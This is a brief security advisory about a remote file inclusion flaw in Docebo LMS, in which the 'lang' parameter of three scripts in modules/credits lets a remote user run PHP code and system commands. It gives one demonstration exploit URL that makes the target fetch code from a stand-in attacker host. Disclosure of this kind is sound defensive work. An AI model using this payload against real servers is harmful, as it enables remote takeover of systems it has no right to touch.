Description: Beford reported a vulnerability in Docebo LMS. A remote user can include and execute arbitrary code on the target system.
The 'modules/credits/business.php', 'modules/credits/credits.php', and 'modules/credits/help.php' scripts do not properly validate
user-supplied input in the 'lang' parameter. A remote user can supply a specially crafted URL to cause the target system to include
and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges
of the target web service.
A demonstration exploit URL is provided:
http://[target]/DOCEBO205/modules/credits/help.php?lang=http://[attacker]/?
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

Solution: No solution was available at the time of this entry.
